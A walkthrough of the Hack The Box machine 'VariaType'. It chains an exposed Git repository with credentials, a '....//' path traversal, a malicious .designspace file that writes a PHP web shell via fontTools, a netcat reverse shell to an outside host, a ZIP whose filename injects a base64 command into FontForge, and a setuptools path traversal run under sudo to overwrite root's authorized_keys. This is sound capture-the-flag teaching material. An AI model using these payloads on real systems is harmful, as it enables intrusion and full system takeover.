VariaType WriteUp
Table of Contents
VariaType is a π§ Medium difficulty machine on Hack The Box, Season 10. The attack chain starts by discovering an exposed Git repository on an internal portal, extracting credentials from the commit history, exploiting an arbitrary file write in fontTools to get a shell, moving laterally by abusing command injection in FontForge via a malicious ZIP file, and escalating to root by leveraging a path traversal in setuptools through a misconfigured sudo rule.
πΊοΈ Attack Chain
Recon β Ports 22, 80
β
βΌ
Subdomain enumeration β portal.variatype.htb
β
βΌ
Exposed .git β git-dumper β commit history β gitbot:G1tB0t_Acc3ss_2025!
β
βΌ
Path traversal in /download.php β /etc/passwd β user steve
β
βΌ
CVE-2025-66034 β malicious .designspace β shell write β RCE as www-data
β
βΌ
CVE-2024-25082 β ZIP with malicious filename β FontForge cron β SSH key β steve
β
βΌ
CVE-2025-47273 β sudo install_validator.py + setuptools path traversal β root π΄
π Recon
/etc/hosts setup
echo "10.129.18.165 variatype.htb" | sudo tee -a /etc/hosts
Port Scanning
Phase 1 β Fast TCP port discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv variatype.htb
Phase 2 β Version and script detection:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv variatype.htb
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.2p1 (Debian) |
80 | HTTP | nginx 1.22.1 |
Web Enumeration
The main site http://variatype.htb shows the corporate website of a variable typography startup. The page highlights the use of fontTools as its font processing engine, which already hints at the attack surface.
We enumerate subdomains:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://variatype.htb" -H "Host: FUZZ.variatype.htb" -fc 301
portal [Status: 200, Size: 2494]
π― We found
portal.variatype.htb. We add it to/etc/hosts:
sudo sed -i 's/variatype.htb/variatype.htb portal.variatype.htb/' /etc/hosts
http://portal.variatype.htb is a font validation portal restricted to the internal team. We enumerate files and directories:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u "http://portal.variatype.htb/FUZZ" -fc 404
.git [Status: 301, Size: 169]
π― The
.gitdirectory is exposed on the portal.
π Initial Access
Extracting the Git repository
With .git accessible, we dump the whole repository with git-dumper:
git-dumper http://portal.variatype.htb/.git ./variatype-repo
cd variatype-repo
We review the full commit history, including branches and orphan commits:
git log --all --oneline
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation
π‘ There are only two commits. The most recent one explicitly mentions the
gitbotuser, so we inspect its diff directly:
git show 753b5f5
'gitbot' => 'G1tB0t_Acc3ss_2025!'
π Credentials found:
gitbot:G1tB0t_Acc3ss_2025!
Path Traversal in /download.php
We log into the portal and abuse the file download feature to read /etc/passwd:
http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/passwd
π‘ The server filters
../but not the....//sequence β removing the middle..leaves../, achieving traversal anyway.
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
π― User
steveconfirmed on the system.
Finding a writable web path
Before exploiting the arbitrary file write, we need to know where to write so the result is reachable over the web. We reuse the same path traversal in /download.php to read the portal’s nginx configuration:
curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
"http://portal.variatype.htb/download.php?f=....//....//....//....//....//etc/nginx/sites-enabled/portal.variatype.htb"
server {
listen 80;
server_name portal.variatype.htb;
root /var/www/portal.variatype.htb/public;
index index.php;
access_log /var/log/nginx/portal_access.log;
error_log /var/log/nginx/portal_error.log;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location /files/ {
autoindex off;
}
}
π― The portal’s document root is
/var/www/portal.variatype.htb/public, and/files/is served directly (withautoindex off, but reachable if we know the filename). Writing to/var/www/portal.variatype.htb/public/files/shell.phpwill give us access to our PHP payload athttp://portal.variatype.htb/files/shell.php.
CVE-2025-66034 β Arbitrary File Write in fontTools
π§ fontTools < 4.60.2 doesn’t validate the
filenameattribute of the<variable-font>element in.designspacefiles. When processing the file,os.path.join()accepts absolute paths in that field, allowing the output to be written to any path on the filesystem. The content of<labelname>elements ends up embedded in the output file; since PHP ignores binary data and executes any<?php ... ?>block it finds, it’s enough for the file to be written with a.phpextension and be reachable over the web.
The main site (variatype.htb) exposes a variable font generator at /tools/variable-font-generator that processes .designspace files with fontTools. We generate two minimal fonts as masters and build the malicious .designspace:
Step 1 β the generator requires valid, mutually compatible .ttf masters. We generate them with a Python script using TTGlyphPen to create a minimal glyph. We save the script as gen_fonts.py:
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def make_font(filename, weight):
fb = FontBuilder(1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((50, 0))
pen.lineTo((450, 0))
pen.lineTo((450, 700))
pen.lineTo((50, 700))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 50)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupNameTable({"familyName": "Source", "styleName": "Regular"})
fb.setupOS2(sTypoAscender=800, sTypoDescender=-200, sTypoLineGap=0,
usWinAscent=800, usWinDescent=200, usWeightClass=weight)
fb.setupPost()
fb.setupHead(unitsPerEm=1000)
fb.font.save(filename)
make_font("source-light.ttf", 300)
make_font("source-regular.ttf", 400)
print("[+] Generated source-light.ttf and source-regular.ttf")
python3 gen_fonts.py
[+] Generated source-light.ttf and source-regular.ttf
Step 2 β we manually craft the malicious.designspace file with the absolute path of the shell in the filename attribute. There are two key details for the injection to work:
- The
<labelname>containing the PHP payload must go inside<axis>(under<axes>), not inside<variable-font>: fontTools only writes axis labelnames into the output file’snametable. - The content must be wrapped with the CDATA “split” trick,
]]]]><![CDATA[>, which produces a literal]]>at the end of the parsed text. This is needed for the payload to survive the re-serialization fontTools does when dumping thenametable.
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">hackpuntes</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="../../../../../../../../../var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
Step 3 β we upload the three files to the generator endpoint:
curl -X POST "http://variatype.htb/tools/variable-font-generator/process" \
-F "designspace=@malicious.designspace" \
-F "masters=@source-light.ttf" \
-F "masters=@source-regular.ttf"
Processing completed.
The shell is written to the portal’s files directory. Reaching it requires an active session cookie:
curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id"
π‘
shell.phpisn’t “clean” PHP: it’s the TTF binary generated by fontTools, with the PHP payload embedded in thenametable. Thecurlresponse mixes the command output with binary bytes from the file (TTF table names likename,glyf,cmap…). Since the payload’s output ends up right afterSourceRegular(thefamilyName+styleNamewe defined ingen_fonts.py), andstringsseparates that line from the next one via the UTF-16 null bytes in thenametable, we filter that line and strip the prefix β this works for the output of any command:
curl -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" "http://portal.variatype.htb/files/shell.php?cmd=id" | strings | grep '^SourceRegular' | sed 's/^SourceRegular//'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
β RCE as www-data obtained.
We start a listener and send a reverse shell by passing the payload in the cmd parameter, letting curl URL-encode it with --data-urlencode:
penelope -p 8443
curl --get -s -b "PHPSESSID=9g96gcvchrlgpa69tq2g49orcf" \
--data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 8443 >/tmp/f' \
"http://portal.variatype.htb/files/shell.php"
After sending the request, penelope catches the connection and drops us into an interactive shell as www-data:
[+] Listening for reverse shells on 0.0.0.0:8443 β 127.0.0.1 β’ 192.168.100.223 β’ 10.10.14.49
β€ π Main Menu (m) π Payloads (p) π Clear (Ctrl-L) π« Quit (q/Ctrl-C)
[+] Got reverse shell from variatype~10.129.18.165-Linux-x86_64 π Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! πͺ
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@variatype:~/portal.variatype.htb/public/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
www-data
www-data@variatype:~/portal.variatype.htb/public/files$ hostname
variatype
π Lateral Movement β CVE-2024-25082
From the www-data shell, we inspect processes and scheduled tasks:
cat /etc/cron.d/*
cat /opt/process_client_submissions.bak
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
# This purges session files in session.save_path older than X,
# where X is defined in seconds as the largest value of
# session.gc_maxlifetime from all your SAPI php.ini files
# or 24 minutes if not defined. The script triggers only
# when session.save_handler=files.
#
# WARNING: The scripts tries hard to honour all relevant
# session PHP options, but if you do something unusual
# you have to disable this script and take care of your
# sessions yourself.
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
The pipeline processes uploaded files with a FontForge binary built from source at /usr/local/src/fontforge/build/bin/fontforge. We check its version:
/usr/local/src/fontforge/build/bin/fontforge -version
cat /usr/local/src/fontforge/build/CMakeCache.txt 2>/dev/null | grep -i version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
Version: 20230101
Based on sources from 2025-12-07 11:44 UTC-D.
Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
build date: 2025-12-07 11:44 UTC
CMAKE_PROJECT_VERSION:STATIC=20230101
FONTFORGE_GIT_VERSION:INTERNAL=a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
π§ CVE-2024-25082 affects FontForge β€ 20230101. When opening a ZIP archive, FontForge passes the internal filename directly to a shell to build the extraction path, without sanitization. A filename like
exploit$(cmd).ttfexecutescmdwith the privileges of the FontForge process, in this casesteve.
Everything below is run directly from the www-data shell, working in /tmp so we don’t interfere with the UPLOAD_DIR watched by the cron (which also watches for *.zip):
cd /tmp
which ssh-keygen python3 base64
/usr/bin/ssh-keygen
/usr/bin/python3
/usr/bin/base64
We generate an SSH key pair and build the malicious ZIP. The heredoc is quoted (<< 'EOF') so bash doesn’t interpret $(...) or ${...} inside the Python code before passing it to python3; inside the f-string, the doubled braces ({{IFS}}) produce the literal ${IFS}:
ssh-keygen -t ed25519 -f steve_key -N "" -q
PUBKEY=$(cat steve_key.pub)
python3 << 'EOF'
import zipfile, base64
pubkey = open("steve_key.pub").read().strip()
cmd = f"mkdir -p /home/steve/.ssh && echo '{pubkey}' >> /home/steve/.ssh/authorized_keys && chmod 600 /home/steve/.ssh/authorized_keys"
b64 = base64.b64encode(cmd.encode()).decode()
# CVE-2024-25082: the filename inside the ZIP injects the command
# (braces are doubled so the f-string prints them literally)
malicious_name = f"$(echo${{IFS}}{b64}|base64${{IFS}}-d|bash).ttf"
with zipfile.ZipFile("pwn.zip", "w") as zf:
zf.writestr(malicious_name, b"OTTO" + b"\x00" * 100)
print("[+] pwn.zip generated")
EOF
We copy the ZIP to the UPLOAD_DIR watched by the cron (/var/www/portal.variatype.htb/public/files, per process_client_submissions.bak) and wait for it to be processed:
cp pwn.zip /var/www/portal.variatype.htb/public/files/
sleep 60
ssh -i steve_key steve@127.0.0.1
π© User Flag
cat ~/user.txt
π§ββοΈ Privilege Escalation β CVE-2025-47273
Enumerating sudo
sudo -l
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
π§ CVE-2025-47273 affects setuptools < 78.1.1.
PackageIndex.download()builds the destination path withos.path.join(tmpdir, filename), wherefilenameis extracted from the provided URL without sanitization. If that URL contains a URL-encoded absolute path (e.g.%2froot%2f.ssh%2fauthorized_keysβ/root/.ssh/authorized_keys),os.path.join()discards thetmpdirentirely and returns the absolute path, allowing the downloaded file to be written anywhere on the filesystem.
The install_validator.py script takes a plugin URL as an argument and uses setuptools.PackageIndex to download it. We abuse the * wildcard in the sudo rule to pass our own URL:
Step 1 β Generate a key pair for root:
ssh-keygen -t ed25519 -f root_key -N "" -q
Step 2 β Set up an HTTP server with goshs. The request setuptools makes arrives with a %2f-encoded path, and goshs decodes it before looking up the file, so we replicate the /root/.ssh/authorized_keys path inside our served directory:
mkdir -p ~/http/root/.ssh
cp root_key.pub ~/http/root/.ssh/authorized_keys
goshs -d ~/http -p 80 -i 0.0.0.0
Step 3 β Exploit CVE-2025-47273. The path %2froot%2f.ssh%2fauthorized_keys decodes to /root/.ssh/authorized_keys; since it’s an absolute path, os.path.join() discards the temp directory and setuptools writes the downloaded file directly to /root/.ssh/authorized_keys:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys"
2026-06-12 18:47:44,360 [INFO] Attempting to install plugin from: http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,367 [INFO] Downloading http://10.10.14.49/%2froot%2f.ssh%2fauthorized_keys
2026-06-12 18:47:44,442 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
Step 4 β Connect as root:
ssh -i root_key root@variatype.htb
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
β Root shell obtained.
π΄ Root Flag
cat /root/root.txt
π Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | Ports 22 and 80 (nginx) |
| 2 | Subdomain enumeration | ffuf | portal.variatype.htb |
| 3 | Exposed Git + history | git-dumper, git log | gitbot:G1tB0t_Acc3ss_2025! |
| 4 | Path traversal /download.php | curl | /etc/passwd β user steve |
| 5 | CVE-2025-66034 | malicious .designspace | Shell as www-data |
| 6 | CVE-2024-25082 | ZIP with injected filename | SSH key β access as steve + User Flag π© |
| 7 | CVE-2025-47273 + sudo | install_validator.py | authorized_keys in /root/.ssh β root |
| 8 | Root escalation | ssh with generated key | Shell as root + Root Flag π΄ |
See you in the next challenge.



